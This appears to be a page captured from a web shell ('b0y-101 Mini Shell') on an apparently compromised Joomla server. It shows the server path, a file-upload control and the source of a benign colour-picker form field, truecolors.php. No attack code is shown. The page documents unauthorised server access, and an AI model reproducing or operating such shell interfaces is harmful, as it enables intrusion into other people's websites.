b0y-101 Mini Shell


Current Path : E:/www/pl/modules/mod_popupaholic/fields/
File Upload :
Current File : E:/www/pl/modules/mod_popupaholic/fields/truecolors.php

<?php

/**

 * Custom Joomla! form field to generate minicolors input with optional opacity slider

 *

 * NOTE: replace PATH_TO_CUSTOM_MINICOLORS with path to minicolors files. See below.

 */



// Check to ensure this file is included in Joomla!

defined('_JEXEC') or die('Restricted access');



JFormHelper::loadFieldClass('color');



class JFormFieldTruecolors extends JFormFieldColor {



  protected $type = 'Truecolors';



  /**

   * Method to get the field input markup.

   *

   * @return  string  The field input markup.

   *

   * @since   11.3

   */

  protected function getInput()

  {

    // Translate placeholder text

    $hint = $this->translateHint ? JText::_($this->hint) : $this->hint;



    // Control value can be: hue (default), saturation, brightness, wheel

    $control = $this->control;



    // Valid options are hex and rgb.

    $format  = $this->element['format'];



    // Set to true to enable the opacity slider.

    $opacity = $this->element['opacity'];



    // Position of the panel can be: right (default), left, top or bottom

    $position = ' data-position="' . $this->position . '"';



    $onchange  = !empty($this->onchange) ? ' onchange="' . $this->onchange . '"' : '';

    $class     = $this->class;

    $required  = $this->required ? ' required aria-required="true"' : '';

    $disabled  = $this->disabled ? ' disabled' : '';

    $autofocus = $this->autofocus ? ' autofocus' : '';



    $color = strtolower($this->value);



    if (!$color || in_array($color, array('none', 'transparent')))

    {

      $color = 'none';

    }



    $class        = ' class="' . trim('truecolors ' . $class) . '"';

    $control      = $control ? ' data-control="' . $control . '"' : '';

    $format       = $format ? ' data-format="' . $format . '"' : '';

    $opacity      = $opacity ? ' data-opacity="' . $opacity . '"' : '';

    $readonly     = $this->readonly ? ' readonly' : '';

    $hint         = $hint ? ' placeholder="' . $hint . '"' : ' placeholder="rgba(0, 0, 0, 1)"';

    $autocomplete = !$this->autocomplete ? ' autocomplete="off"' : '';



    // Including fallback code for HTML5 non supported browsers.

    JHtml::_('jquery.framework');

    JHtml::_('script', 'system/html5fallback.js', false, true);



    // Include jQuery

    JHtml::_('jquery.framework');



    // We must include our custom minicolors, since Joomla! has outdated version

    // See: https://github.com/claviska/jquery-minicolors/



    $LiveSite = JURI::base();

    $dirname = basename(dirname(dirname(__FILE__)));

    $document = JFactory::getDocument();

    

    $document->addStyleSheet("../modules/$dirname/css/jquery.truecolors.css");

    $document->addScript("../modules/$dirname/js/jquery.truecolors.min.js");



    JFactory::getDocument()->addScriptDeclaration("

        jQuery(document).ready(function (){

          jQuery('input.truecolors').each(function() {

            jQuery(this).truecolors({

              control: jQuery(this).attr('data-control') || 'hue',

              position: jQuery(this).attr('data-position') || 'right',

              format: jQuery(this).attr('data-format') || 'hex',

              opacity: jQuery(this).attr('data-opacity') || false,

              theme: 'bootstrap'

            });

          });

        });

      "

    );



    return '<input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'

      . htmlspecialchars($color, ENT_COMPAT, 'UTF-8') . '"' . $hint . $class . $position . $control . $format . $opacity

      . $readonly . $disabled . $required . $onchange . $autocomplete . $autofocus . '/>';

  }

}

Copyright © 2019 by b0y-101